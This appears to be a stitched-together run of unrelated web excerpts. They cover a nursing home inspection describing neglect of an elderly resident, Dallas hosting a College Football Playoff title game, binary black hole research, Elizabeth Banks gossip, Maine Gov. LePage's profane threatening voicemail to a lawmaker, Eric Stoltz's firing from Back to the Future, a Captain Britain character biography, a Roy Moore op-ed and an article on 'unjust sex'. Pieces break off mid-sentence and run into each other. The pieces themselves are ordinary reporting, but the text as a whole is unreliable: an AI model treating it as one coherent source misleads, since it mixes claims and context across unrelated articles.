Moreover, she said, most are poor, have no family who visit and need constant care.
Such care was lacking in March when five state public health inspectors—acting on behalf of the federal Centers for Medicare & Medicaid Services—arrived for a surprise review.
Among the first things the inspectors noted was "an offensive urine odor" in the foyer that remained throughout the day, they later wrote in a report.
When they went into a room with a soiled privacy curtain, they saw a 97-year-old incontinent woman on her back in bed. "Feces was loose and completely dried on the sheet," inspectors wrote.
The woman winced in pain while being cleaned, and an inspector noticed that she had a bed sore "on both buttocks the size of a golf ball with no treatment, and her left heel was red and mushy."
She also had severe bruising on her left arm and both legs. A nurse and nurse's aide told the inspector they did not know how the bruises occurred. Later, another nurse reported the bruises were caused by a mechanical lift used to transport the woman to dialysis treatments.
At dinner time, the woman told an inspector she was in too much pain to eat. "I've been sitting on my butt all day," she said. "It hurts so much."
The next morning, an inspector saw feces on the woman and her bed pad. A staff nurse said it appeared someone had washed her but not very well.
A nurse's aide washed her again, but incompletely. The employee also did not wash the woman's catheter tubing, which had been sitting on feces. The old woman "cried out in pain when the tubing was handled," the inspector noted.
When the woman again ate nothing at the next two meals, an inspector alerted the nursing home's administrator. One of the woman's bed sores was also getting worse, and she complained of pain. She also appeared lethargic.As has long been speculated, the city of Dallas will end up hosting the first title game of the newly minted College Football Playoff. Matt Hayes of Sporting News has the report, which claims the game will almost certainly be played on January 12, 2015 at Cowboys Stadium.
Tampa was considered the other contender for a national championship title game, as it was the only other city to submit a bid to host the title game. Many other cities were interested but dropped out along the way. While Tampa didn't beat out Dallas, a BCS source indicated that their presentation was so good that Tampa should be in line to host a title game in the near future.
While semifinal games will be rotated among six regular sites for bowls (including the Rose, Sugar, Orange and three other bowls that have yet to be |
able to study the orbital motion of two super massive black holes in a binary system. We believe most decent sized galaxies harbour a super massive black hole in their centre just like our Milky Way. When two such galaxies collide, they form a new galaxy with a binary super massive black hole at their centre,” she said.The research will facilitate better knowledge about galaxies. “We can understand galaxy evolution and how super massive black holes grow. These sources are important for the gravitational wave study. We expect that when they merge, they emit strong G-wave signals. Andromeda and Milky Way are on a collision course so we are seeing our future billions of years away, today,” she added.Bansal credited IISER, Pune for building her basics in the research. “I learned science from a different perspective, here. It wasn't about solving numericals. It was about finding out how nature works. The excellent course work helped me during my research. IISER allowed me to do a project which was useful. My advisor was supportive,” she added.'She’s a girl who likes to eat!' Elizabeth Banks reveals Jennifer Lawrence ate her birthday cake on Hunger Games set
She's been outspoken about her refusal to slim down to please Hollywood.
And it seems Jennifer Lawrence isn't all talk.
Her Hunger Games co-star Elizabeth Banks revealed that when she recently celebrated her 40th birthday on set, she found her co-star tucking into her cake.
'Well, recently everyone surprised me on the set of Mockingjay with a birthday cake!' she said in a new interview.
Say cheese! Elizabeth Banks lent her megawatt Crest ad smile to the launch of the Listerine 21 Day Challenge in Inglewood on Thursday 'And, of course, the first person to delve into my cake was Jennifer. I will say she’s a girl who likes to eat and I love that about her,' she told Cosmopolitan. Meanwhile, The LEGO Movie star lent her megawatt Crest ad smile to the launch of the Listerine 21 Day Challenge in Inglewood, Los Angeles, on Thursday.
The campaign aims to foster healthy habits in regards to keeping one’s mouth clean.
Elizabeth looked bright and perky in a crisp yellow, lime green, and white Roksanda Ilincic dress, which she teamed with a pair of white studded pointed pumps.
She wore her blonde hair swept back, with a few locks elegantly framing her face, highlighting her features with some pink lipstick and mascara.
Little miss sunshine: The 40-year-old actress looked bright and perky in a crisp yellow, lime green, and white dress Elizabeth posed for photos, holding up a cell phone with her own image on it.
The beautiful blonde is at a high point in her career – voicing a character in the LEGO Movie, which opened with a $69.1 million debut. The strong opening was the biggest yet of 2014 and assures Warner Bros. of a new animated franchise devoted to the interlocking toy bricks.
Elizabeth discussed the character she voices - Wyldstyle – on The Today Show prior to the film’s release.
Beautiful blonde: She wore her blonde hair swept back, with a few locks elegantly framing her face, highlighting her features with some pink lipstick and mascara 'Little Wyldstyle - she's one of the best female characters I've ever played actually,' she said. 'She's a kick butt action heroine who saves the boys.
'I love that she's providing a really great role model for all kids - girls and boys.'
Elizabeth added: 'She's sort of a throwback to eighties hip hop. She's so cute. She's very sassy and take charge, which I love about her.'Shawn Patrick Ouellette/Portland Press Herald via Getty Images Maine Gov. Paul LePage attacked a Democratic state lawmaker on Thursday, challenging him to prove that the governor was a racist.
Maine Gov. Paul LePage (R) left a threatening voicemail for a Democratic state lawmaker on Thursday, using obscene language and challenging the lawmaker to prove the governor is racist.
LePage believed that state Rep. Drew Gattine (D) accused him of being racist after the governor said he kept a binder full of drug traffickers arrested in Maine and that more than 90 percent of them were black or Hispanic. In an interview with the Portland Press Herald, Gattine denied he had made the claim.
In the voicemail, obtained by the Press Herald, LePage directed several obscenities toward Gattine.
“Mr. Gattine, this is Governor Paul Richard LePage. I would like to talk to you about your comments about my being a racist, you cocksucker,” LePage said. “I want to talk to you. I want you to prove that I’m a racist. I’ve spent my life helping black people and you little son-of-a-bitch, socialist cocksucker. You, I need you to, just freakin’, I want you to record this and make it public because I am after you. Thank you.”
Listen to the full voicemail below:
In January, LePage said men with names like “D-Money, Smoothie, Shifty” were dealing drugs in Maine and impregnating white women. Earlier this week, he said the binder he kept proved he isn’t racist because it supported his statements about the racial makeup of the traffickers.
LePage released a statement Friday, saying he was angry and apologizing for his language.
“When someone calls me a racist, I take it very seriously. I didn’t know Drew Gattine from a hole in the wall until yesterday. It made me enormously angry when a TV reporter asked me for my reaction about Gattine calling me a racist. It is the absolute worst, most vile thing you can call a person,” he said. “So I called Gattine and used the worst word I could think of. I apologize for that to the people of Maine, but I make no apology for trying to end the drug epidemic that is ravaging our state.”
The governor also said that he never intended to harm Gattine.
“When I said I was going after Gattine, I meant I would do everything I could to see that he and his agenda is defeated politically. I am a history buff, and I referenced how political opponents used to call each other out in the 1820s — including Andrew Jackson, the father of the Democratic Party. Obviously, it is illegal today; it was simply a metaphor and I meant no physical harm to Gattine,” he said.
Gattine did not respond to HuffPost’s request for comment on the incident, but he told the Press Herald that LePage’s voicemail was “inappropriate and uncalled for.”
“What I said to the television reporter today is that the kind of racially charged comments the governor made are not at all helpful in solving what the real problem is,” Gattine told the Press Herald. “And that is, we have a crisis in the state of Maine of people overdosing on heroin and prescription drugs and we are not doing enough with respect to treatment and prevention.”
After leaving the voicemail, LePage publicly attacked Gattine and invited a television crew and Press Herald reporter for an interview in which he said he wished he could duel Gattine.
“When a snot-nosed little guy from Westbrook calls me a racist, now I’d like him to come up here because, tell you right now, I wish it were 1825,” he said, according to the Press Herald. “And we would have a duel, that’s how angry I am, and I would not put my gun in the air, I guarantee you, I would not be (Alexander) Hamilton. I would point it right between his eyes, because he is a snot-nosed little runt and he has not done a damn thing since he’s been in this Legislature to help move the state forward.”
LePage and Gattine have clashed on a number of issues, according to the Press Herald, including the governor’s effort to get rid of food stamps in his state.
LePage’s voicemail prompted Westbrook’s mayor, council president and school committee chair to write an open letter to the people of Maine condemning their governor.
“Once more Governor LePage has humiliated himself and the Office of the Governor. He continues to again embarrass the citizens of this wonderful State,” they wrote. “LePage’s voicemail to Representative Gattine is so outrageous it is beyond our ability to know how to respond. Furthermore, his threat to want to ‘shoot him between the eyes’ would be reprehensible coming from anybody, but from the individual holding the position of Governor of our State is insanity.”
Democratic leaders in the state legislature said the comments showed LePage was not fit to hold office.
Gattine wasn’t the only target of LePage this week. On Wednesday, he called Khizr Khan, the father of a killed American soldier, a “con artist” for criticizing GOP presidential nominee Donald Trump.Most film buffs know that Eric Stoltz was the original Marty McFly in Back to the Future before director Robert Zemeckis made the difficult decision to replace him with Michael J Fox.
Stoltz had already shot for five weeks as Marty when he was let go from the production, and now a new behind-the-scenes book - We Don't Need Roads: The Making of the Back to the Future Trilogy by Caseen Gaines - has shed fresh light on the dismissal.
Universal Pictures
According to accounts from cast and crew on the movie, Stoltz approached Marty in a "method" acting style and lacked the comedic lightness of touch Zemeckis and his co-writer/co-producer Bob Gale wanted for the part.
In We Don't Need Roads (via Vulture), Gale recalled how Stoltz insisted on being referred to as "Marty" even when cameras stopped rolling.
"We almost always called him Marty," he said. "We thought it was silly, but we figured if it helped him do his job, it was harmless. There were a few people on the crew who'd worked on Mask and they called him Rocky, the name of his character in that film."
Universal Pictures
Christopher Lloyd added of Stoltz's take on the time-travelling teen: "I felt for Eric. He was a really good actor. Although he was doing the part well, he was not bringing that element of comedy to the screen."
Lea Thompson, who had worked with Stoltz on 1984 film The Wild Life, said that she initially took news of her co-star's firing hard.
"It was hard for me because I was really good friends with Eric," she said "Eric is such a different actor and he could be very difficult...
"[He] had such an intensity. He saw drama in things. He wasn't really a comedian, and they needed a comedian. He's super-funny in real life, but he didn't approach his work like that, and they really needed somebody who had those chops."
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Stoltz also reportedly clashed with Thomas F Wilson on set, bruising the Biff Tannen actor's collarbone after repeatedly pushing him hard during the '50s cafe scene.
After the decision was made to fire Stoltz, production actually continued in early January 1985 with the actor working alongside Lloyd to film the Twin Pines mall scene.
Director of photography Dean Cundey confessed that he felt an uneasiness on set in the final days.
"When we would set up a shot and we would shoot Chris Lloyd's angle, but we wouldn't do the reverse on Marty," he said. "I'd say, 'Don't we need the angle?' and Bob would say, 'No, no, no, let's not worry about that'. It didn't take long for me to see that we were saving our energy for what would come next."
Back to the Future turns 30 this week! Here's how the film could've looked with Eric Stoltz as Marty McFly pic.twitter.com/XHrz2dBWyc — Digital Spy Film (@digitalspyfilm) June 29, 2015
Zemeckis and producers Gale, Neil Canton, Kathleen Kennedy, Frank Marshall and Steven Spielberg were all present when the announcement was made to crew that Stoltz was being released.
By that point, studio Universal Pictures had already negotiated around Fox's Family Ties schedule and the actor swiftly began filming the Twin Pines mall sequence with Lloyd.
We Don't Need Roads: The Making of the Back to the Future Trilogy is available now in the US and Kindle Edition, and will debut in paperback in the UK on July 9.This article is about Brian Braddock. For the superheroine formerly known as Captain Britain, see Lionheart (comics). For his sister who once used the code name, see Psylocke
Captain Britain (Brian Braddock) is a fictional character appearing in American comic books published by Marvel Comics. He first appeared in Captain Britain Weekly #1 (October 1976), the beginning of a serial best-remembered for runs by writer Chris Claremont, artist Alan Davis, and writer Alan Moore.
The character was initially intended exclusively for the British comics market. Endowed with extraordinary powers by the legendary magician Merlyn and his daughter Roma, Captain Britain is assigned to uphold the laws of Britain.
Publication history [ edit ]
Captain Britain originally appeared in the first issue of Captain Britain Weekly (cover-dated the week ending October 13, 1976), an anthology comic published exclusively in the United Kingdom by the Marvel Comics imprint known as Marvel UK. The comic represented the first original content published by Marvel UK, who had previously only handled reprints of Marvel Comics' U.S. publications.[1] However, the new content was still created by Marvel's American staff (the initial team being writer Chris Claremont, penciller Herb Trimpe, and inker Fred Kida) under the supervision of U.S. editor Larry Lieber, then shipped to the UK for publication.[1] (In addition, the new 8-page Captain Britain installments in each issue of Captain Britain Weekly were supplemented by more reprinted material, featuring Nick Fury and the Fantastic Four).
The character's creators are unknown, though Trimpe has remarked that the visual design looks like the work of John Romita, Sr., who was designing many of Marvel's characters at the time.[1]
The first two issues of the comic were also bundled with "free gifts", a cardboard Captain Britain mask in the first issue and a Captain Britain boomerang in the second, such novelties being a tradition with British comic book launches.[1] Chris Claremont left the series after ten issues, midway through the "Doctor Synne" storyline, due to creative differences with the editor.[2] Trimpe recalled that Claremont and his replacement, Gary Friedrich, while "miles apart in personality and approach to a story", were both flexible writers who allowed him considerable free rein in laying out and pacing the stories.[1]
With sales slowly declining, Captain Britain went to black-and-white with issue #24 (March 23, 1977) and was cancelled entirely with issue #39 (July 6, 1977), though the Captain Britain serial was immediately transferred to Marvel UK's Spider-Man comic, which was then retitled Super Spider-Man & Captain Britain.[1] In 1978 Chris Claremont and John Byrne introduced Captain Britain to an American audience for the first time with Marvel Team-Up #65-66.[1] The Marvel Team-Up story was reprinted as the last six installments of the UK serial, ending with Super Spider-Man & Captain Britain #253. This marked the end of Captain Britain's exploits until March 1979, when Captain Britain appeared with the Black Knight in the "Otherworld Saga" which ran in Hulk Comic.[3] These guest appearances were the first time Captain Britain was written and drawn by British creators.[1]
The character was relaunched, in a redesigned costume, in the Marvel Superheroes anthology title, starting with issue #377 (September 1981). The relaunch was initially written by Dave Thorpe and illustrated by Alan Davis, who redesigned the costume at editor-in-chief Paul Neary's behest. Neary's chief concern was the original costume's lion chest emblem; though the emblem is a heraldic symbol, it is better known in the UK as a sign to denote the quality and freshness of eggs.[1] Davis noted that his depiction of Brian Braddock was visually based on Garth, "an exaggerated Greek god, perfect in every way"[4] and that:
I decided to base his costume on military uniforms. If you've ever seen the mounted guards outside Buckingham Place, you'll recognize the components. The white leggings and the tall boots with the flaps over the knees were easy. The headgear took a bit more time because I wanted it to look like a helmet rather than a mask. The stripes across his chest started as two crossed sashes and underwent numerous changes.[4]
The political commentaries in Thorpe's stories ignited conflicts with the editors, leading to his being replaced by Alan Moore with Marvel Superheroes #387 (July 1982).[1] Moore used Thorpe's stories as a springboard for the "Jaspers' Warp" storyline. Captain Britain appeared as one of the characters in Marvel US's 1982 Contest of Champions limited series, albeit wearing his already-discarded original costume.
After Marvel Superheroes #388 (August 1982), the series moved into a new monthly comic, The Daredevils. When The Daredevils was canceled after eleven issues, Captain Britain was continued in The Mighty World of Marvel volume 2 #7 (December 1983). After the run of Alan Moore, who left because of a dispute over unpaid invoices,[4] the serial continued for a few more issues with different writers (Steve Craddock, Alan Davis, and Mike Collins) before moving to the new Captain Britain Monthly. Jamie Delano took over writing duties with the first issue (cover-dated January 1985) on the recommendation of Moore and with the agreement of Davis.[4] However, Davis later said "Initially I gave plot ideas to Jamie [Delano] but I was never happy with the direction he wanted to take things so I took more and more control until I eventually took over as writer."[1]
In the meantime, Captain Britain's long absence from American comics ended with a series of 1985 guest appearances, starting with Captain America #305-306.[1] Following the cancellation of Captain Britain's solo series, Claremont and Davis created the one-shot special Excalibur: The Sword is Drawn (December 1987), which served to launch the American monthly Excalibur in 1988, featuring an eponymous team which included Captain Britain. Marvel UK incorporated Captain Britain as the main attraction of their own group series, Knights of Pendragon, which initially met with positive critical response and strong sales, but declined to the point of cancellation with issue #18.[1]
New Excalibur was introduced in 2005, with Captain Britain as team leader. This series ran until issue #24 and the team was disbanded in the X-Men: Die by the Sword limited series.
A new series was then started in 2008, using the Secret Invasion crossover storyline as a launchpad. Captain Britain headlines this series, Captain Britain and MI: 13, written by Paul Cornell, which included some characters from New Excalibur, as well as members of MI: 13 who appeared in Cornell's Wisdom limited series.
Panini Comics bought Marvel UK and in 2006 renewed and broadened their license with Marvel[5] which allows them to produce original comic stories for the British and European markets. This has included Captain Britain's first original appearance in UK comics in thirteen years, with a story that ran in Spectacular Spider-Man Adventures[6][7] and Panini plan to have more in their new all-ages title Marvel Heroes.[8]
Captain Britain made several cameo appearances in Marvel Comics publications then would feature in a Heroic Age tie in anthology limited series and a Deadpool Team Up issue.[citation needed]
Captain Britain appeared as a regular character in the 2010-2013 Secret Avengers series, from issue #22 (April 2012) through its final issue #37 (March 2013).
Beginning in November 2014, Captain Britain will reappear with the Avengers as a part of the Time Runs Out storyline.[9]
Fictional character biography [ edit ]
Origins [ edit ]
Born and raised in the small town of Maldon, Essex and educated at Fettes College in Edinburgh, Brian was a shy and studious youth, living a relatively quiet life and spending a lot of time with his parents and siblings (older brother Jamie and fraternal twin Elizabeth). The family was an aristocratic one that was no longer rich enough to fraternise with their former academic peers, leaving Brian (too proud to fraternise with lower classes) a lonely child who immersed himself in the study of physics.[10]
After the death of his parents (Sir James and Lady Elizabeth) in what seemed to be a laboratory accident, Brian takes a fellowship at Darkmoor nuclear research centre. When the facility is attacked by the technological criminal Joshua Stragg (alias "The Reaver"), Brian tries to find help by escaping on his motorcycle. Although he crashes his bike in a nearly fatal accident, Merlyn and his daughter, the Omniversal Guardian Roma, appear to the badly injured Brian. They give him the chance to be the superhero Captain Britain. He is offered a choice: the Amulet of Right or the Sword of Might. Considering himself to be no warrior and unsuited for the challenge, he rejects the Sword and chooses the Amulet. This choice transforms Brian Braddock into Captain Britain.[11]
It is later revealed that Braddock is only one member of a much larger, inter-dimensional corps of mystical protectors. Every Earth in Marvel Comics' Multiverse has its own Captain Britain who is expected to defend that version of Britain and uphold its local laws. They are collectively called the Captain Britain Corps. Captain Britain protects "Earth-616" of the Marvel Universe. Later still, it was retconned that Brian's father, Sir James Braddock, was himself from Otherworld and a member of an earlier Corps; Merlyn had sent him to Earth-616 to take a carefully chosen mate and father a hero who would be far greater even than he[12] (other comics still have the Braddock family as old and established: they've been in the Hellfire Club for generations and Braddock Manor is a "quarter millennium" old in its first appearance[13]).
Early career as Captain Britain [ edit ]
As his career as a superhero begins, Brian fights as the champion of Great Britain, often clashing with S.T.R.I.K.E. and Welsh anti-superhero police officer Dai Thomas, and would develop a rogues gallery including the assassin Slaymaster and the crime matriarch Vixen. He tried to keep his studies going and court fellow student Courtney Ross while also working as a superhero, and (as with other Marvel heroes) was viewed as a coward by others because he always vanished whenever trouble started.[14]
During one episode, his siblings Betsy and Jamie became aware of his secret identity after he saved them from Dr. Synne, a villain terrorizing the land around Braddock Manor. Synne turned out to be the patsy of the sentient computer Mastermind, a device Brian's father had created; it was then Brian learned that his parents did not die in an accident but had been deliberately killed by the machine.[15]
Brian's greatest achievement in this time was preventing a neo-Nazi takeover of the country with the aid of Captain America, Nick Fury, and S.T.R.I.K.E. commander Lance Hunter.[16] He was responsible for both saving Prime Minister Jim Callaghan from the Red Skull and from stopping the Skull's germ bomb from killing London.[16] The Nazis' first strike had actually happened during the battle with Mastermind, when the Red Skull took the plans for the computer and had Braddock Manor bombed to rubble (a later retcon said Mastermind had created a hologram that was bombed instead); Captain Britain was briefly believed dead and an empty coffin laid in state at St Paul's Cathedral.[17]
As time goes on, Brian begins fighting more supernatural enemies rather than regular supervillains: this was part of Merlin's overall plan to mentally prepare him for Jasper's Warp.[18]
Soon afterwards, Brian travels to America to study.[19] By a strange twist of fate, he rooms with Peter Parker (the hero Spider-Man) at Empire State University. A brief misunderstanding caused Brian to battle Spider-Man, before the two of them were captured by the assassin Arcade. They then tackled various challenges in Murderworld, rescued Brian's love interest Courtney who was kidnapped and placed in a sealed cocoon with limited air, and became the first victims to survive Murderworld.[20] Near the end of this stay, homesickness and stress saw him drink heavily. He stopped after, when drunk and embarrassed by a defeat, he beat a supervillain so badly she was put in hospital; ashamed, Brian paid for her hospital bills and therapy.[21]
On a flight home from America, he came under mental attack by the demonic Necromon, causing Brian to leap out of the plane; he spent two years as a hermit on the Cornish coast, repairing his psyche. He was eventually called to Merlyn's service again, fighting alongside the Black Knight and the elf Jackdaw to defend Otherworld from Necromon. With his memories partially restored Brian and the Knight, allied with Vortigen the Proud Walker, battled Mordred the Evil. Both the Black Knight and Captain Britain were snatched out of time to join the Grandmaster's Contest of Champions, where Captain Britain fought against the Arabian Knight, but they were soon returned to resume their quest. At the entrance to Otherworld, Brian was slain by the spectral White Rider, and his corpse claimed by Mandrac: Nethergod Lord of the Slain and the Rider's master, though Merlyn and the Knight swiftly recovered it. Merlyn reunited Captain Britain's departed spirit with his body, resurrecting him. While the hero healed, Merlyn restored his remaining memories and informed him of the Nethergod's involvement with his early foes. Now recalling the location of King Arthur's body, the Black Knight, Captain Britain, and Jackdaw were sent to awaken the King. Succeeding in this quest, Arthur then sent Brian and Jackdaw magically away through the dimensions, stating Brian had a destiny to fulfill elsewhere. As a reward, he and Jackdaw were sent back to Earth.
Jaspers' Warp [ edit ]
With Necromon defeated, Merlyn merges the powers of the Amulet of Right and the Star Scepter into a uniform to be worn by Braddock. Captain Britain is sent with Jackdaw to Earth-238, a dictatorship run by the British National Party, whose rule was enforced by the Status Crew, where he works with the extra-dimensional Saturnyne to jump-start the reality's development.
Braddock witnesses both this Earth's descent into madness at the hands of Mad Jim Jaspers and Jackdaw's death, while he himself is murdered by the monstrous Fury before being resurrected back on Earth-616. This turns out to have been a deliberate plan by Merlyn to prepare him for the battle against the Jim Jaspers of Earth-616, a far more powerful being. Merlyn, who had previously resurrected Jackdaw, avoids doing so a second time to increase his chances of successfully reviving Captain Britain.
Brian would find himself saving his sister Betsy and the former Psi-Division of S.T.R.I.K.E. from his old enemy Slaymaster. He is also drafted by the mercenary group the Special Executive to save Saturnyne from a show trial, during which he witnessed the destruction of Earth-238's reality to prevent the Jaspers' Warp there from spreading out across the multiverse. He also encountered members of the pan-dimensional Captain Britain Corps, an organization of Captain Britains from various dimensions. However, he and his assembled allies were unable to prevent Earth-616's Jim Jaspers from expanding his influence over Earth, and though Brian fought bravely it fell to the Fury to kill the villain - Roma is of the opinion Merlyn intended all along for Brian to lead the Fury to Earth-616 to do this, but this was unconfirmed.[22] Captain Britain also valiantly fights against the Fury, but although he comes close, is unable to best it. Now close to being killed by the Fury, Captain Britain is saved by Captain UK, a member of the Captain Britain Corps and on whose world the Fury killed all superheroes, including Captain UK's husband. Just as the Fury is about to land the killing blow on Captain Britain, Captain UK attacks it in a primal rage, tearing the Fury apart with her bare hands.[volume & issue needed]
Following this and battles against conventional villains the Crazy Gang, Slaymaster, and Vixen,[23] Braddock was captured by Gatecrasher's Technet on behalf of Sat-Yr-9, and then fought his interdimensional counterpart Kaptain Briton.[24] Brian is captured by Modred the Mystic, and teams with Captain America to defeat Modred.[25] He also got caught up in the affairs of intelligence agency R.C.X., the British government's replacement for S.T.R.I.K.E. He also met his future lover Meggan.
Substituted [ edit ]
Due to the pressures put on him after the Warp, Braddock travels abroad for a while.[26] R.C.X. recruits his sister Betsy to become Captain Britain while he is overseas, angering Brian enough to make him quit when he learns this upon his return. She manages in the role for a while, but unfortunately she proves no match for Slaymaster, who tears out her eyes. Aware of his twin's pain through their telepathic bond, Brian rushes back to fight Slaymaster, whom he eventually kills. After this episode, Brian resumes the mantle of Captain Britain.[27] In real-world terms, these events took place over twelve pages across two issues, though more than five months pass for the characters while Betsy is Captain Britain. Their effect on Betsy, and her future with the X-Men, was profound.
Drawing of the Sword [ edit ]
When the X-Men appeared to perish in Dallas (see Fall of the Mutants), a group of heroes including Nightcrawler, Shadowcat, Phoenix III, and Meggan joined Brian to form Excalibur - Great Britain's premier super-team - in an effort to continue the work of the X-Men. Excalibur fought Gatecrasher's Technet in their first meeting together.[28]
Brian was soon reunited with Courtney Ross.[29] He then first battled the Juggernaut.[30] He clashed with old foes Arcade, and the Crazy Gang, and was caused to temporarily switch bodies with the Crazy Gang's Tweedledope.[31] Brian also encountered and fought his other-dimensional Nazi counterpart Hauptmann Englande.[32] With Excalibur, he battled Arcade's "Loonies".[33] With Excalibur, he battled Thor, believing Thor to be Juggernaut due to Loki's magic. Brian then journeyed with Thor into a dimension ruled by Juggernaut.[34]
Knights of Pendragon [ edit ]
During this period, Marvel UK launched a miniseries starring Captain Britain. It presented a much darker and mature version of Braddock as a part of the Arthurian myth than was found in Excalibur. In the first volume, Braddock teams with police inspector Dai Thomas, a regular from his old solo series, and journalist Kate McClellan. The three investigate a series of grisly murders that are finally revealed to be the work of mythical creature the Green Knight, a key character in Arthurian mythology. The series also implied a strong mystical connection between Braddock and the knight Lancelot.
Identity crises [ edit ]
Brian quits costumed adventuring for a time and concentrates on research, building the Midnight Runner for Excalibur. Eventually, he and Meggan become engaged. However, Brian, Meggan, and the rest of Excalibur are soon captured by the R.C.X. and Brian is severely beaten while resisting. Dying, broken and bloody, he is healed by Roma, who fixes the arcane circuitry in his costume to match his body's frequencies. She also removes the "blunder factor" she had secretly cast over him (a curse she had cast ensuring that he would need the help of the entire team until he saw the innate value in it). The evil members of R.C.X. are cleared out in a joint effort by Excalibur and the members of an internal mutiny.
Immediately afterward, Phoenix III reappears and Excalibur journeys into the future to save the world from the Sentinels. On the way back, Brian is lost in the time-stream. Eventually, his body parts start reappearing in the same space as Rachel's - first his arms, then his chest - for brief flickers. Eventually, a rift is opened in which Brian and Rachel switch places. Rachel is flung to the far future to become the Mother Askani and Brian returns home. He is flooded, however, with memories of the far future and remains disconnected from the real world. He calls himself "Britannic" for some time, but eventually re-acclimates himself to his old life. It changes slightly, as Excalibur moves to Muir Island and new members join the team. Brian has a prophetic vision concerning the London Branch of the Hellfire Club's plan to take over the United Kingdom. Brian infiltrates the Club by claiming his father's position as Black Rook and, again with Excalibur's help, thwarts its efforts at domination.
King of Otherworld [ edit ]
In a battle with the Dragons of the Crimson Dawn, Brian expends all of his power to stop a dimensional portal from opening. Having lost his powers, he leaves the team for some time, but returns to fulfill his dream of marrying Meggan. After the ceremony on Otherworld, the team disbands and its members return to the United States.
Brian soon finds work at the Darkmoor research facility. During one of his tests on the new blade and armor of his friend the Black Knight, Widget appears with warriors who begin to attack on Roma's behalf. The heroes (including Psylocke, who is also visiting England) drive the attackers off, then follow them to Otherworld where they discover that the Captain Britain Corps has been decimated. Together with the survivors - Crusader X and Captain UK - Brian and his comrades attempt to stop Roma from acquiring the Sword of Might. This, together with the Amulet of Right, would have the ability to remake the cosmos. Brian searches for the Sword but finds a computer-filled shrine in a cavern built by his father. A hologram of James Braddock, Sr. explains to Brian that he is the savior and rightful heir of Otherworld with the innate right to wield Excalibur. The hologram re-activates Brian's powers and as he draws the sword, a fiery cross (similar to the British flag) appears as a mask on his face. Brian then confronts Roma, who is revealed to be his father's sentient and insane computer Mastermind. With the aid of the real Roma, Braddock defeats the powerful computer. Roma then relinquishes control of Otherworld to Captain Britain. He and Meggan remain in Otherworld as effective rulers of the multiverse. Unbeknownst to Brian, the events leading up to his assumption of the Otherworld were orchestrated by Kang the Conqueror, for reasons yet to be revealed.
In the "Lionheart of Avalon" storyline in The Avengers, the sorceress Morgan Le Fay captures Brian and Meggan. Le Fay hopes that by killing Braddock and severing his mystical ties to the land, she will destroy all of Great Britain. However, Brian appears to Kelsey Leigh, a British mother who dies protecting both her children and Captain America from the Wrecking Crew. Braddock offers her the choice between the Amulet and the Sword and, feeling that she could better defend her children with a weapon, she chooses the latter. Although she is changed into a new Captain Britain, she remains cursed by the inability to ever reveal herself to her children. Because he transfers his power to Kelsey, the plan to destroy Britain fails.
New Excalibur [ edit ]
Returning to Otherworld, Braddock and Meggan become rulers of the realm. However, Captain Britain is forced to come back to Earth to stop the House of M reality-shift from destroying all dimensions. During this time, his wife Meggan apparently sacrifices her life to close a rip in time that would have destroyed all existence. This results in Brian becoming active as Captain Britain again and the formation of a new Excalibur, along with Peter Wisdom, Sage, Juggernaut, Dazzler, and Nocturne. Captain Britain also believes his sister Psylocke to be dead, unaware that she has joined the Exiles.
Captain Britain & The MI-13 #6.
Art by Cover art for#6.Art by Bryan Hitch
He also assisted Pete Wisdom and British intelligence agency MI-13 in their battle against a Martian invasion.[35]
After the defeat of Albion by New Excalibur, Braddock is reunited with his sister and the Exiles in the miniseries X-Men: Die by the Sword before he is severely injured by Rouge-Mort.
Captain Britain and MI: 13 [ edit ]
A new series, written by Paul Cornell and drawn by Leonard Kirk, features Captain Britain, Pete Wisdom, and other British superheroes working for MI: 13.[36][37][38] The series opened with a Skrull onslaught on Britain, part of the "Secret Invasion" storyline, that saw every British hero drafted into MI:13.
After fighting Skrull forces in London, Brian was dispatched with Pete Wisdom, John the Skrull, and Spitfire to the Siege Perilous (a gateway to the Otherworld) to secure Avalon and thus the world's magic from Skrull conquest. Brian is left uncomfortable by having to kill Skrulls and being separated from the Corps, and simply desires to represent his country (believing, despite Wisdom's statements to the contrary, that he stopped doing so). When the Skrulls shot a missile at the Siege to destroy Earth's access to magic, he attempted to divert it and was killed in a vicious explosion [39] - every inhabitant of the United Kingdom became instantly aware of his death.[40]
Captain Britain was once again resurrected by Merlin in the center of Britain, and after taking possession of the sword Excalibur, confronted the Skrulls in London; his resurrected form is stated by Merlin to be no longer plagued with doubts and a unified symbol of the United Kingdom, "like their flag, one thing that contains many!".[41] He has increased powers and theoretically has no limits, but this is reliant on his level of confidence - he can just as easily become weak and vulnerable.[42] While he has chosen to work with MI:13 and their superhero team, he has stated that the superheroes will no longer kill.[ |
same-sex marriage. He has declared that the rule of God must reign supreme to that of law. In 2006, he demanded that Keith Ellison (D-Minn.), newly elected to Congress, be barred from taking federal office because Mr. Ellison is Muslim.
While President Trump campaigned against Mr. Moore at the recommendation of Senator Majority Leader Mitch McConnell (R-Ky.), it would be a mistake to disregard the similarities between Mr. Trump and the insurgent judge. Both have questioned Barack Obama's citizenship and displayed disdain for the rule of law. Like the president, Mr. Moore is scornful of Mr. McConnell and the establishment wing of the Republican Party. He ran on opposition to the Senate majority leader, and his hard-line stances would likely create even more division within an already splintered Republican caucus.
Yet how much moral standing does the establishment wing have to object? Mr. McConnell ended the filibuster for Supreme Court nominations and scuttled normal procedures to push repeal of the Affordable Care Act — leading to Sen. John McCain's (R-Ariz.) call for "regular order," which Mr. Trump mocked on Twitter. Now the Republican establishment is gearing up to pass a tax cut, again likely by dismissing and disparaging the Congressional Budget Office and shunning any Democratic input.
To be sure, the GOP is not the only party guilty of leveraging dysfunction to its advantage: Then-Senate Majority Leader Harry Reid (D-Nev.) chipped away at his share of Senate traditions, too. But if the Republican leadership is afraid of what Mr. Moore could bring to Washington, it may want to reconsider the wisdom of opening the door to his hate-filled appeals and disruptive behavior by backing Mr. Trump in the first place. Otherwise, fewer and fewer public servants in the mold of Mr. Corker, long a voice for responsible governance and bipartisan cooperation, will see any point in coming to Washington in the first place.Uncertainty surrounding the boundaries of ethical sexual activity is not confined to boozed-up young adults or American presidents. Among academics there is discussion about what distinguishes rape and sexual assault from another category of “ethically problematic” sex.
Examples of “unjust sex” include “women being pressured – not quite to the point of outright coercion, but pressured uncomfortably nonetheless – to have sex, or to have sex without contraception,” explains Ann Cahill, author of a number of books on gender issues including Rethinking Rape.
Cahill, professor of philosophy at Elon University in North Carolina who is visiting Dublin this week, says she has tried to “figure out in more detail” what distinguishes sexual assault from “unjust sex”, drawing on the work of New Zealand psychologist Nicola Gavey.
